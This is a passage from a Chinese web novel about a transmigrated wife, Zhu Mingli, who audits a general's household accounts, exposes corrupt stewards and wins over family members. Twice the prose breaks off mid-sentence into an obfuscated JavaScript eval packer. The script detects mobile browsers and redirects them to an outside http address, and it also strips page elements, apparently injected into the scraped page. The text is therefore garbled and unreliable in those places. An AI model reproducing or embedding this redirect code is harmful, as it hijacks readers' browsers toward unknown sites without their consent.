书香世家的小丫鬟多少识点儿字，焦尾在旁边偷瞟了两眼，只看到一堆名字和一堆数目，心下一惊，不敢再看。 焦尾不是从小被当大丫鬟培养的，在这种事儿上缺少了一些嗅觉，只觉得心惊胆战，怕自家娘子一来就和沈府管事对上。 祝明璃并不觉得自己能随意处置这些人。公司空降一个领导，往往的结果是被二把手们架空，她只需给他们一个警醒的下马威。 翌日是回门日，沈绩因公离京，沈家昨日便去祝家赔礼商议，两家决定等沈绩回来后再补上。 所以对于祝明璃来说，回门日只是一个普通的日子。但她还是起了个大早，浩浩荡荡地带着贴身丫鬟和几沓账本朝沈母院子去了。 平静的清晨开始暗流涌动，老远的就有人瞧见这边的动静，赶忙将消息递出去。等祝明璃在沈母院前碰见沈令仪时，管事们已经知道新来的主母想杀鸡儆猴了。 水至清则无鱼，一个面嫩的小媳妇，会算几笔账就想治家了！ 他们在心里唾骂着，还是忍不住有些心慌，毕竟说来说去，全凭沈母一句话罢了。 沈令仪瞧着丫鬟们手里的账本，面上露出惊讶的表情，一是没想到祝明璃这么快就能把账理清，二是讶异于她大胆的作风。 小鬼难缠，要想解决沈府臃肿腐败的奴仆群体，绝非一日之功。 二人寒暄两句，一同入了院。 沈母刚起，还在洗漱，二人在下座等了会儿，她才被嬷嬷扶了出来。 一看到祝明璃这阵仗，沈母的眉毛忍不住跳了一下。 “都说了，不用晨昏定省。你们年岁还小，多睡上一会儿藏藏神。”她慢悠悠坐下，拉长了语调，有些疲惫不耐烦的模样。 沈令仪连忙起身道：“祖母怜惜后辈，但做晚辈的万不能坏了规矩。”漂亮话一出口，又觉得有些尴尬，毕竟祝明璃可是说不来就不来的…… 她连忙朝祝明璃那边看去，祝明璃脸皮厚得一点反应都没有，接过话头：“母亲喜静，儿媳自是不该来打扰，可有一事实在是困扰至极，不得已来请教母亲拿主意。” 沈母瞄了一眼低眉顺目捧着账本的丫鬟，哪还不知道她说的什么。 她确实需要一位能干的媳妇儿来规整这个家，但她喜欢的是润物细无声的办事手段，而不是这样大刀阔斧的，太过冒失。 她没有心力教导这位年轻的儿媳成长，略显失望地道：“沈家这些奴仆都用了很多年了……” 沈令仪在一旁紧张地快不能呼吸了，祖母这话不就是在敲打三叔母吗？ 祝明璃却没太大反应，这种语气才哪到哪儿的，在职场里甚至算不上冲突。 她能做的就是把现状尽可能梳理清楚，然后让上级领导拍板。 “母亲不如先看一眼我例的账目?”她将手上的几页纸递到沈母跟前。 沈母微微扬眉，祝明璃竟然把这种略带冒犯的动作做得落落大方。 出乎意料地，她并不反感这种行为，反而有种奇异的利落感。 接过这几页纸，第一眼就震惊了。 这是她从未见过的书面表达方式，一点也不规整，却格外地清晰明了。 图、数、文字并存，重点部分文字居然还加粗加大了，一眼就能抓住重点。 沈母以为自己会拿到几页“状纸”，结果拿到了几页PPT。 即使她心绪不佳，也能专注看下去，直截了当明白祝明璃想要表达的东西。 第一眼，她因为新奇的书写方式震惊，等到她快速读完这几页后，震惊被愤怒取代。 她明白，水至清则无鱼，且沈府这些年来一直运作着，没有出过大差错，所以她并不认为需要大动干戈来整顿，直到看到了这些巨大的数目。 沈家家底厚，入不敷出不是事儿，但若是“出”的一大半都在贪婪无度谋私的管事奴仆上，那就是大事儿了。 沈母面沉如水，坐直了身子：“这些账目是谁算的？” “是儿媳算的。”祝明璃给出明确答案，“母亲可找账房来验证一番，不过还是不要找府内的账房。” 她一人算的？可信度太低。但沈母并不追问，祝家这种家世，招揽些算科才子也不是奇事。 沈母点点头：“我明白。这笔帐要花费数日时间才能算清楚，到时还需你多上心。” 祝明璃从没想过弄巧呈乖侍奉婆母，增进婆媳关系。今日任务完成，她也该走了。 沈母倒是挺喜欢这种公事公办的疏离感，端茶送客时，认真地对祝明璃说了句：“辛苦你了。” 祝明璃清晰地看到面板上沈母的好感度连加三分。 这个婆母比想象中明事理，祝明璃很愿意和这种“上司”打交道，公事公办道：“既然我嫁了进来，沈家便和我同休共戚，谈不上辛苦。” 沈令仪在旁边听着，忍不住瞪大了眼。这种事是能明说的吗？三叔母也太敞亮了点。 大家行事都讲究含蓄，一群大老爷们儿还要写闺怨诗，像祝明璃这种性子是会受人指摘的。但关起门来就事论事，又会觉得莫名地爽利、省心，是“自己人”。 不过今日的重点不是她的性子如何，她前脚走，后脚消息就散开了。一传十，十传百，细节不明，但大家都知道新主母眼里揉不得沙，要大力整顿下人了。 大伙儿各有心思，最下面的觉得事不关己，最上面的只觉得祝明璃幼稚得可笑。谁都知道她是为了立威，但太稚嫩了，他们在沈府待的时间比她岁数还多，一个急功近利的莽撞儿媳，一群用惯了的“忠仆”，沈母怎么可能偏向前者？ 沈令仪在进院前也持有这种担忧，直到见到了沈母的反应，即使她没有亲眼见到祝明璃梳理出的证据，她也觉得这事儿有八成稳。 她跟在祝明璃身后琢磨，祝明璃猛地一回头，吓了她一跳。 “三叔母？” 祝明璃看向她斜上方，明明刚才好感度还是89，现在就变成了93，这也太快了点。 离刷满第一个好感度的目标越来越近了，祝明璃可不会放过任何一个机会。 “令仪还未用过早膳吧，不如去我那儿，用完膳再继续交割，我还有些不明白的事宜想要请教你呢。” 沈令仪本想礼貌拒绝，但听到后面半段儿，顿时汗流浃背了，略显心虚地道：“三叔母太客气了，何来‘请教’一说，我才是要多多向您学习呢。” 算了，伸头缩头都是一刀，今日她也领略了三叔母的本事，拖着藏着不如坦荡点。 沈令仪愁云满面地跟在祝明璃身后，弄得来打探消息的下人们疑神疑鬼，不知新主母新官上任这把火要烧到何处。 祝明璃的院子离得不算远，但沈令仪也不会闲着没事儿往这边儿晃。当她从思绪中回神时，发现路还是那条路，气氛却不一样了。 府里什么时候安排了这么多小丫鬟做打扫的活计？ 金字塔上方的奴仆们焦头烂额，最底层的却看到了希望。不管是真整顿还是只是谣言，她们都愿意过来碰碰机会。如果一辈子当小丫鬟，月钱全被“干娘”“姐姐”们拿走，混到大丫鬟的年纪也是过着受气受累没出头的日子，不如铤而走险，万一主母瞧着灵巧，把她们调到主母院儿里伺候呢？ 所以一个个像皇帝路过路上的嫔妃一样，卯足了劲儿露脸。 沈令仪都觉得怪怪的，别说祝明璃了。 她把面板调出来，名望度还是在lv1，为什么会出来这么多小丫鬟，一个二个得恨不得把地皮扫起来三层。 二人还未走近院门，远远地就有人瞧着祝明璃一行人的身影，连忙进院子里对厨娘汇报。 短短三日，绿绮就生出了危机感，娘子明显更重用焦尾——虽然自己听令于祝府，并不代表她不敬重娘子，更不代表她不想被娘子重用。 焦尾出身不好，而绿绮却是从祝家二夫人院里调来的，更懂作为贴身大丫鬟需要的特质。衣食住行面面俱到，如果说主母是一个府里的总管，那么大丫鬟就是总管的特助。 在出门前，绿绮就对小厨房交待了下去，饭菜做好了温着，手脚利索点，娘子一进门肯定就要用膳，所以提前就得备好，娘子一句吩咐，早膳就得端上桌。 除了绿绮打起了十二分功夫，小厨房里的人也铆足了劲儿，生怕被罚离开主母院，今早小厨房的管事还专门立了规矩，连上菜的顺序也要注意。 沈令仪很明显感受到了这种区别，当然，一年前，在她接受中馈时，也感受到了这种变化。只是这种变化并没有持续太久，也没有这么强烈——毕竟她从未立威过。 进了院子，无关奴婢可不敢在主母面前显眼，赶紧避开，于是院子里格外情景，却又井井有条。 绿绮在祝明璃落座后，立刻温声询问：“娘子，是否要传早膳？” 祝明璃转头看她，忠诚度不知何时加了5分。 沈令仪在一旁坐立不安，她太缺乏安全感了，这些年一直在期望有一位女性长辈出现在她生活中，给予她教导与支持，所以对待祝明璃有些过度依赖。 这些心绪很快被热气腾腾的早膳盖过，隔得老远就能闻到酱肉包的鲜香浓郁，托盘往桌上一隔，裹满香味的热气直往脸上扑。 本来不饿的沈令仪忍不住咽了咽口水。 比起她那些“小而精”的早膳，祝明璃吃得很“简单”，早餐就是包子和粥，十分家常，却格外激发食欲。 祝明璃很热情和气，指了指圆滚滚胖乎乎的大白包子：“令仪，试试？” 沈令仪犹豫了一下，还是没有抵抗住馋虫，夹了一个到自己盘里。 酱肉包的皮又薄又软，吸饱了酱汁和肉汁，肉馅油润润的，入口即化，酱香十足，完全盖过了猪肉的肉腥味，不爱吃猪肉的她完全能接受。 这可比坊上最火的羊肉胡饼更好吃！ 比起她省吃俭用规划出来的早膳单子（虽然糖并不便宜），三叔母这里的早餐看着很简单，却能吃得饱吃得舒坦，现在想来，自己那些不过是减了量，也没省下多少钱。 毕竟是富家娘子，再怎么想节省，也没有老道的理财头绪。 自认胃口不好的沈令仪，一顿早膳下来，干了三个结结实实的大包子，吃撑了才反应过来这有多不符规矩。 她擦擦嘴角，被碳水冲击得晕乎乎的，结结巴巴没组织好语言：“三叔母，刚才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207346|181285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我吃得太着急了。” 祝明璃没察觉到她这些敏感的小心思，一幅很欣慰地模样：“长身体呢。” 绿绮在旁边候着，看她们吃完了，准备谈正事儿了，赶紧过来问：“娘子，还添点儿吗？”生怕焦尾抢了先。 祝明璃摇头，顺嘴道：“这里暂时用不着你们了，你们赶紧去用早膳吧。”起一大早搬账册，又站了那么久，肯定饿呢。 下人用饭都是有时间的，大多数会在一天劳作开始前先填饱肚子。像焦尾绿绮这种大丫鬟，时间限制更多，由于祝明璃喜欢赖床，她们往日的时间都放到后面一点，防止早早吃了白日饿得快。 厨房每日备餐都会多备一些，以免主人胃口大开，多的主人也不会过问，一般都便宜了厨房的婆子和地位较高的丫鬟们。不过正是整顿下人的时期，谁都不敢触霉头，连最馋嘴的婆子也老实着。 绿绮这种大丫鬟是奴仆里面地位最高、最享福的，运气好的话，是能跟着主子蹭饭。 她和焦尾对了对眼神，两人行礼后就打算告退，祝明璃见她们方向是往小厨房反方向走的，提醒道：“昨日教他们新菜，今日练手肯定多出了很多。” 绿绮焦尾赶忙停下脚步，等祝明璃示意。 想着绿绮的表现，祝明璃发现了一个很好的岗位给她：“以后每日多余的餐食就由你来安排了，怎样才能合理分配，你想想，晚膳前给我个章程。”绿绮心思细，甚至说太细了，以至于有点爱计较，管后勤很合适。 沈府家大业大，下人们穷困不到哪去，一日两餐是管饱的，但要说吃多好那可谈不上，更别论吃上和主人家的饭食。 尤其是祝明璃随口教的新菜色，都够让大伙儿垂涎欲滴了，都猜测是三夫人当年跟着其祖父游历见过的菜色，能蹭上一顿那可是幸运至极。 绿绮终于得到祝明璃的指派，高兴得脸上藏不住笑，在心里暗暗发誓要把这事儿做好，不能让焦尾独占鳌头。 小厨房管事婆子听了这消息忍不住黑了脸，这么大的好处就从手里溜走了，但又觉得绿绮这个年轻小丫头片子不一定能管好，怀有侥幸心理。 而对于小厨房甚至是院内其他的打杂丫鬟们来说，这可是大好事一件，虽说不知道绿绮姐姐会怎么分配，但总是有希望的，想想那肉味儿就流口水，吃一个一天干活都有劲儿！ 祝明璃随口一句吩咐，对于院里的下人们是件大事，不过对于沈令仪来说，只是件费解的小事。 努力在口粮上抠钱的她，纠结了一瞬，还是忍不住问：“三叔母是打算以后每顿都这样吗？”包子里用的可是精面和实实在在的肉。 她思考的方向是恩威并施、惠及下人的管理手段，而祝明璃其实只是想着不要浪费粮食。 “你有看过账册吗？”祝明璃问。 沈令仪迟疑地点点头，不知道她为何问这个。 “在账面里，我是说真账，食这一项，占得非常小。”沈府结构简单，沈母饮食清淡胃口不佳，沈令仪省吃俭用，二房双胞胎有啥吃啥，没一个人沾上“享乐”一词。 祝明璃并不避讳和她聊这些：“开源节流是好事儿，但你的劲儿用错地方了。把那些贪婪谋私的人整顿了，那才是真正的节流。”更何况她不打算窝在一方天地里整天算着怎么省钱，她的野心可放在“开源”上面。 沈令仪脸一红，目光扫过旁边候着大气不敢出的下人们，心想这种不屑迂回遮掩的心气倒像将门之女，不像书香世家出来的。 沈令仪更觉得亲切了，不自觉地想依靠这位叔母：“我本事不足，总被蒙蔽过去。” 虽然才认识没多久，但这小姑娘太容易读懂了。祝明璃道：“你是沈府长女，中馈在你手里，有什么好瞻前顾后的。就算出了岔子，你觉得你的祖母不会管你？”话虽难听，但谁不是看人下菜碟，这种性子很难不被下人们骑到头上。 就比如现在，丫鬟们看着两人开始谈话了，连忙安安静静地退下，在沈令仪院子可见不到这种场面。 祝明璃猜测沈令仪因为父母双亡，又无亲密长辈引导，所以明明是个大家娘子，却养成个畏畏缩缩、谨小慎微的性子。 沈家因人丁凋零在走下坡路，但功勋赫赫，在京中依旧算上等。可沈令仪和京中闺秀们关系总是不远不近，别人会总在背地里说她“小家子气”。 高门贵族，最讲究“体面”二字，即使情况大不如前了，也不能给人透出裁剪用度、节衣缩食的意思。尤其是沈家从风光无限到只剩沈绩一人苦苦支撑，多少人都在等着沈家彻底垮台看笑话。 这些沈令仪比谁都能领会，她心中苦涩：“祖母身体不好，我怎能给她添烦忧？”她和祖母虽然日日相见，但依旧十分生疏。 沈家成员之间似乎都挺冷淡，但也不会苛待谁，祝明璃想了一下剩下来的唯一能主事的大人，问：“那你三叔呢？” 沈令仪摇头，她和三叔更是没说过几句话。三叔性子冷，她躲着都来不及呢，哪有什么叔侄情。 沈令仪忍不住偷瞄祝明璃，心想这夫妻二人总不能比我和三叔还生疏吧？不是说至亲夫妻吗？ 当然，她给出了一个很体面的回答：“三叔公务繁忙，不理庶务。” 根据这几日收集到的零散线索，祝明璃觉得沈绩这个人应当不是个严苛的人。而且正因为他烦忧的事太多，所以对家里面不怎么上心，挺包容的。 沈令仪对沈绩能躲则躲，但祝明璃不一样，她必须知道这个人的底线在哪。 提到沈绩，好不容易热络起来的交谈氛围冷了下来。 沈令仪在心中叹了口气，只盼三叔迟点回来。 5. 第 5 章 这几日祝明璃都在理账，需要交接的东西不少。 通过账目，祝明璃弄清了沈家的收入和支出都在哪，也就把沈家的事务摸了个大概，攒了一堆问题等着问沈令仪。 虽然沈令仪看上去是个过分柔弱的小姑娘，但祝明璃并不看轻她，不懂的就问，立契买仆到雇工，从年例置办到时新采办……这些问题系统可不会替她解答。 谈到熟悉的领域，沈令仪也渐渐放松下来，尽量替祝明璃解答，不懂的也会坦诚告知。 “这些人都是军中退下来的。圣上心善，但很难面面俱到，战场伤残的士兵并不是所有人都能拿到朝廷给的抚恤金，除籍归农，有遗漏的兵丁，沈家也会尽量给他们安置去处。这些跟在祖父、父亲、二叔身边的士兵不愿意离开，便会立雇工文约，在府内、老宅、田庄这些地方帮忙。” “置办采买都是按照以前的惯例来的，没怎么换过行铺。不过在我执掌中馈的时候，换过衣料采买的商行，之前商户送来的料子越来越次，便跟着礼部王侍郎家一起换了。” 祝明璃一边记笔记，一边问：“你和礼部王侍郎家的女儿有交情？” 沈令仪点头，脸上带起点笑：“是的，幼时就与她相识了，不过如今关系没有以前亲近了。”长大后要考虑的东西太多，哪怕性情相和，也不一定能一起玩儿了。 最后一句话说的百感交集，跟个沧桑的大人一样，祝明璃失笑：“让你的小姐妹们过府来聚聚，不就重新亲近起来了吗？” 沈令仪摇头，接手中馈后她忙得焦头烂额，很少有闲情雅致参加聚会，别说举办聚会了。 这事儿听着简单，但从大方向的布置场地、敲定席面、安排下人等，到细节的菜肴摆放、奴婢衣着站位等等，每一项都要过目，细致到头疼。也只有那种常办宴席，早已形成一套章程的管家者能少操点心。 如今她把中馈交出去了，心知其中的劳累，又怎么好意思麻烦三叔母呢？ 祝明璃倒是觉得举办聚会这事儿挺有意思，而且她既然打算“开源”，经商就少不了营销，这种闺秀聚会可不正是一个好渠道嘛。 “等我把手上这些事理顺了，咱们挑个日子办个聚会，随便选个由头。”祝明璃一边写府中人员进出的新规矩，一边道，“你给我写个名单，忌口、爱好什么的都标上，我好拟个章程，如何？” 沈令仪瞧着她一心二用，不得不佩服。说不想举办宴会是假的，她犹豫了一下，还是忍不住点头：“好，那就麻烦三叔母了。” 她们在这边聊天的功夫，沈母去娘家请来的账房们终于到了。 沈府从上到下也没想过这事儿能闹得这么大，账还没查，已有人去沈母院里跪着认错了。不过说来说去只是一些小错，扒着沈府吸血这么多年，怎么敢全盘托出？ 贪污主人财物以卑犯尊，无论是私刑处置还是送官，都会丢命。 祝明璃并不打算插手，只等沈母拍板做最后的决定。 但光是这一手就足够敲山震虎了，现在府里都知道这位新主母可不是吃素的。 只是祝明璃等了许久，也没见到名望度升到lv2，看来经验值没那么好刷。 提升名望大概率是和治家挂钩的，绝非一日之功。光是想一套成体系的规矩就足够令人头疼，要做到僮仆循礼、闺阁整肃，就要从层级制度、激励机制等各方面入手，结合实际一点点推行。 写到奖惩部分，祝明璃控制不住地写下“绩效考核”四个字，忽然有一种自己淋过雨所以要把所有人的伞撕烂的感觉。 主母真是个综合学科，才用到了财务会计的知识，又要开始人力资源管理了，这样看来，现代豪门大管家是最适合穿越的人才。 在沈母做出处置决定前，她什么都做不了，毕竟人员没换血，再怎么立规矩也没用，所以这些日子她只能把自己的小院管好。 她院子里用人简单，不需要废多大心力，而且她不打算事事都过目，把管理责任分散出去，多找助手才是她的目标。 用完晚膳后，一直瞅着时机的绿绮终于上前来交代自己想出的章程。 明明只是分配吃食这一件事，却让她体会到了大丫鬟的权力。从上午开始，一直有人朝她献殷勤暗示，就差围着她捏肩揉腿了。 她心思细，遇到这种情况反而比以往更冷静，一整日都在仔细思索这件事，终于在傍晚才有勇气向祝明璃汇报。 绿绮的想法很简单，小院里的日常活计不存在“论功奖赏”，所以最好按品级轮流进行分配。同时为了激励小丫鬟们，也会按照“多劳多得”，半月或者一月进行奖励。 当然，每日食材有限，并不会有太多多余的食物，此举更多的还是让绿绮练练手。毕竟无论是沈府还是曾经在祝府，每日多余的菜不是被胆大的婆子贪嘴，就是倒了。 祝明璃点头：“那这事儿以后你就负责盯着。” 绿绮一愣，她忐忑了那么久，没想到这么轻易就通过了。 她这才明白，这就是很简单的一件小事，娘子只是随口一句吩咐，自己却想得太复杂，一点也不像个举重若轻的大丫鬟。 祝明璃见她脸红，忍不住感叹，绿绮和焦尾真是性子极其互补的一对。没猜错的话，绿绮自小长在小姐院子里，谨言慎行、心细敏感，底色更冷。而焦尾应该是从小丫鬟做起来的，比绿绮更踏实敦厚。 前日在就寝时，她听到焦尾在院外低声训人，第二天问绿绮，才知道原来是有些丫鬟合伙欺负一个守夜小丫鬟，不仅让她代人值夜、熏被，还要让她回下人房时帮她们打洗脸水。 绿绮说，小丫鬟们都是这么过来的，焦尾不该插手。 不过这么连着守夜怕照顾不周，她和焦尾商量着定了轮值顺序，不会再有替人值夜的事发生了。 所以若是把分配的活计交给焦尾去办，她肯定想把多的食物给那些最苦最累的底层粗使小丫鬟，这样很容易导致品级高的丫鬟婆子们不满，生出矛盾。 先让他们从小事做起，慢慢就能担起更大的管理责任，到最后就不用她操心了。 翌日一早，祝明璃还在睡懒觉，忽然听到一阵急促的敲门声。 焦尾的声音从外面传来：“娘子，不好了，那些刁奴竟然联合起来扳咬您！” 祝明璃迷迷糊糊睁开眼，慢慢坐起来醒神。 “娘子？”焦尾忐忑的声音从门外传来。 “进来吧。”祝明璃清清嗓子，“绿绮呢？” 焦尾连忙推门进来，招呼身后的小丫鬟端着热水进来，答道：“绿绮去主院探口风去了。” 祝明璃想到过这种情况，一点儿也没有慌张。刚空降来就出手大整顿，没被陷害架空就是奇事。 洗漱完，祝明璃只带着焦尾一人前往沈母院。 焦尾本来觉得祝明璃这般做是故意不讲排场，显得柔软无助，好叫沈母心软，等到了沈母院里才明白——嚯！原来是根本站不下了啊。 管事们扳咬总要拿出点人证物证来，一来二去的，从堂屋到院里跪满了人。 又正是晨昏定省时刻，沈令仪带着丫鬟们被堵住了。 而这种大事儿，二房双胞胎绝不会错过，连跑带追赶过来，也挤了进去。 院里氛围紧绷中又透着一种不安的躁动，祝明璃一到，无论是跪着的还是站着的，都下意识朝这边看过来。 想象中的主母震怒的画面没有出现，祝明璃身边只带了个焦尾，一脸平静，一点儿气也没喘，看来连快走都没有。 这样气定神闲，反倒让人有点心忧。 她扫了一下跪在院外的人，基本都能和脑海中的信息对上，全是忠诚度很低的人。 祝明璃往前走，跪在院子中间的人下意识让开道，她便从他们中间走过。绿绮安安静静地跟上来，站在她身后。 屋外候着的丫鬟早看见祝明璃来了，连忙朝里通传。 沈母院里的丫鬟比这些人强多了，至少面上不显，低垂着头，仿佛一点也不好奇：“三娘子，老夫人有请。” 祝明璃进去，里面站着跪着十几号管事及账房，大管家正声泪俱下地哭诉：“贱奴家中世世代代都是忠奴，怎会做出如此背信弃义之事，老夫人请明鉴啊！” 双胞胎和沈令仪站在老夫人身边，见祝明璃来了，沈令仪吸了口气，忍不住绞起袖口，而双胞胎则是眼前一亮，等着看热闹。 老夫人看着比之前疲惫了不少，但威严不降反增：“账目在这里，怎么冤枉你？” 大管家一口咬死：“贱奴不知，就算粗心大意使得账目出了差错，也断不能差这么多，这些账目不知从何而来。”他抬头，情真意切，“想要冤枉一个下人太容易了，贱奴若真谈贪了那么多，早富甲一方了，这些数目实在是可以压死个人呐！将贱奴家翻个底朝天也补不上零头啊！” 祝明璃听笑了，哪个贪的不知道转移财产，他既然敢这么说，至少功夫做得不错。 “你是说，我做假账本冤枉你？”祝明璃看着大管家的忠诚度竟然已经掉到了10％。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207347|181285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>大管家深知此事若真认下了，他这条命是绝对保不住的，所以他咬牙道：“贱奴不敢。只是沈府这些年无事发生，三娘子一来，就查出这么大的账目亏空，这么多管事和账房都有问题的话，一换下来全是空位……”他看了祝明璃一眼，就差说她要把自己的人换上去了。 祝明璃还没说话，焦尾先站出来反驳，怒道：“血口喷人！厚颜无耻！我们家娘子才来了多久，有这么多功夫造出这种假账？！”这种话主子吼不得，丫鬟正适合冲锋陷阵。 大管家也知道自己的话站不住脚，只敢赌。赌这对婆媳生疏，赌三郎君洞房日就离京，三娘子地位尴尬。 “沈府家大业大，老夫人身子不好，家中只留下一群半大孩子，这口肥肉，人人都惦记……” 这话说得极重，一出口，看热闹的也不笑了。 抛开泼脏水这个由头，他的话一点没错。沈家确实没有一个女性长辈可以撑起来，所有的责任都落在了沈绩头上，而他光是朝中的事儿都忙不过来，哪有空看顾家里。 沈令仪还不到十五岁，已有无数的阿猫阿狗上门游说定亲，一是欺她乃孤女，二是不认为沈绩能延续沈家的辉煌。这么大的家业，不来瓜分就太蠢了。 天子脚下过活的，谁不是人精，哪怕没心没肺的双胞胎也能感觉出来，外面那些人谄媚外表底下全是看轻，都在嘲笑沈家大厦将颓。 ——但是其他人不知，祝明璃的两个丫鬟可是知道她一开始就不想嫁过来的，更别说处心积虑图谋家产。 谁稀罕，呸！ 当然，这个理由可不能往外说，真是愁死个人。 焦尾还想说话，却被绿绮掐住手，示意噤声。焦尾在这方面很信赖娘子院儿里长大的绿绮，连忙垂眸后退。 “你说我造假，租契上的手印对比一下便知是真是假。田产连年减少，租金也跟着减少，佣工名额却越来越多，快要赶上王府的佣工数量了。” 大管家低头：“是贱奴疏忽管教手下，大抵是其中有误会。”甩锅给下面的人。 “那库房里的陈米、残次祭品、劣等丝绸、仿冒金银器也是我放进去的？”勘察后，她已让人关库不许任何人进去。 “贱奴管着整个沈府，不可能盯着采买人，一项项检查。” 此时用单式记账，易篡改，交叉核对多方记录耗时耗力，且总有借口推脱，大管家大可甩给替死鬼，自己只是一个“疏忽不察”之责。 沈母此时出声，有气无力道：“仓房物多，需要人慢慢盘点。采购凭证、佃户证词、租约卖身契，我会派人出去取证对比。今日兴师动众，只是念在这么多年的主仆情分上，若你坦白，我还能从轻发落。” 大管家冷汗连连，磕头道：“贱奴只是无能，并非贪赃。老夫人，贱奴忠心耿耿，怎么会如此胆大包天？贱奴阿娘是大爷的乳母，阿耶从小便在老爷身前侍奉，沈府对狗奴义重恩深，狗奴怎敢有背弃之心？” 他这么说，其他人也连忙磕头表示，他们也只是出了差错，绝对没有贪。 这些账目可朝前追溯十几年，时间跨度长，仆役也不一定会指证管家。更别说人情往来打点的支出，虚列开支、以次充好这些物证，更是难以查明。 最简单直接的定罪，就是抓到他的赃物，但大管家敢要咬定不认账，赃物肯定藏得极好。偷生个儿子，养在南边，仅凭这些内宅妇人谁能查出来？ 这些年，他们仗着主家疏忽，无人坐镇，胆气愈壮，即使东窗事发了还依旧认为此事会大事化小小事化了。除了经年累月的习以为常，还有对这一家子老弱妇孺的轻慢。 比如站在老夫人身旁的双胞胎就被大管家的话唬得一愣一愣的，他们是大管家看着长大的，幼时调皮捣蛋的时候总是大管家来帮他们擦屁股，多有亲近，实在想象不到他贪婪狂妄的另一面。 这般场景，倒显得这个才进府的儿媳才是外人。 是人都有亲疏远近，但这样显露在面上就叫人难堪了。 沈令仪难得硬气了一回，用胳膊肘碰了下沈令姝，示意她收起面上的犹疑，绕到祝明璃身后，表明自己的态度。 沈母疲于这场风波，在啜泣喊冤声中闭上了眼，难受地揉了揉太阳穴。 在场最为平静的人，只有祝明璃了。 她既没有因哭声而心软，也没有因处境尴尬而收敛锋芒，皱眉道：“我确实是内宅妇人，手段有限，查不出你藏匿的财产，但沈绩呢？” 猛然听到沈绩的大名，所有人都安静了。 6. 第 6 章 在他们看来，这说来说去也是“内宅”的事儿，三郎君一个人很少着家，这种事好像天生就不该将他牵扯进来一般。 更重要的事，他成亲当晚就抛下妻子出京，即使夫妻二人没有翻脸，也算生疏吧，谁都没想过祝明璃会这么简单地搬出这座“大佛”。 高坐上方的沈母睁开眼，别说下人了，连她这个当娘的也没在第一时间想着向儿子求助。 沈绩肩上的担子不仅重，成日接手的也是朝中军中大事，让他分出心神给家里收拾烂摊子，实在是显得这个家太无能了。 祝明璃可不这么想，说得好像沈绩劳苦功高，不从家里获益一样。 祝明璃略微带笑：“朝中贪腐官员都能被扒个一干二净，查查你们，小事一桩。”虽然查贪腐都是大理寺在办，但沈绩好歹是个左骁卫将军，不至于这点本事都没有吧。 大管家愣愣地看着她，实在不知道如何回应。他也不知道自己为什么从头到尾都不觉得郎君会参与这件事，毕竟说来说去，这也只是内宅账目对不上而已啊…… 而且郎君肩负皇命，去哪儿，什么时候回来，大家都不知道。在郎君回来之前，有这些年埋下的人脉相助，自己早就逃出京城了。 祝明璃像能读心一般，从袖中掏出一封信晃了晃：“我即刻回信给他。” 这下所有人都傻眼了。 这信上的封蜡模样确实是沈家印章无误。他们难道真书信联系，关系亲密？但要是他们真是亲昵夫妻，也不至于张口闭口直呼大名吧！ 祝明璃不懂明明可以简单直接解决的事儿，还需要“升堂”对峙。她把信收好，道：“对了，钱管事，我来的时候已经叫人将所有出口都落了锁，你就安心在府里呆着吧。” 大管事听到这话才如梦惊醒般，骤然瞪圆了双目。 老夫人没想到短短两句话事态就升级到了这个地步，她本就不精神，只能下意识跟着祝明璃的步调走：“吩咐所有家丁部曲守好府内，若有作乱者，按律剿杀。” 说完后，竟然下意识抬眼看祝明璃。 跪着的仆役们这才从震惊中缓过来，连声喊冤。 祝明璃不想在这儿久呆，对老夫人行礼告辞。 她办事不拖泥带水，连转身离开都很迅速，沈令仪想了想，还是一咬牙追上来。 她在身后小声唤道：“三叔母！” 祝明璃停住脚步，见她气喘吁吁地忐忑问道：“您真要写信给三叔吗？” 祝明璃点头：“当然。”既然沈绩在信里写了“若有事相商，可来信于我”，她为什么不写信？ 即使那句话一看就是有人教他补上的客套话。 沈令仪被她理所当然的口吻惊到，愈发摸不准他们夫妻的关系了。 不仅是她，其实整个沈家都和这个小叔关系生疏。沈家世代从军，最不缺的就是沙场征战的将领。到了沈绩这代，或许是不想再面临战场失去骨肉的残酷，也或许是对这个最小的弟弟多有宠溺，便放任他自在生长。 于是沈绩便跟着老师游历作诗，跋涉山川。沈令仪对他的印象一直很模糊，直到沈家父子战死沙场，沈绩在骤雨寒夜回府奔丧，从此以后，她对他的印象便是灵堂里那抹长跪不起的背影，沉默、悲怆。 她心里很矛盾，既怕打扰小叔军务，又觉得本就是一家人，谈何打扰。 思绪飘忽着，下意识跟着祝明璃走，等发现方向不对时，已经晚了。 还未走近沈绩书房小院的垂花门，眼前黑影一闪，不知从哪冒出的兵士堵住了两人的去路。 他的气质和沈令仪印象里的沈绩很像，冷冰冰的，像开刃过的剑。 看着祝明璃，他利落抱拳，抬头时表情空白了一拍，很不习惯地吐出两个字：“三娘子……”然后又恢复到面无表情，“将军吩咐过，任何人不可进出书房。” 祝明璃露出一个得体的假笑：“我知道，我没想进书房，我是来找你们的。” 他面上又露出来了那种空白：“我们？” 上次替沈绩送信给祝明璃的邬七从他身后走出来抱拳行礼：“娘子。” 祝明璃便转向他道：“既然你们能把他的信送到我面前，想必是有法子传递书信。”说着抽出薄薄的信封，递到邬七面前。 邬七面上也露出了那种空白的表情。 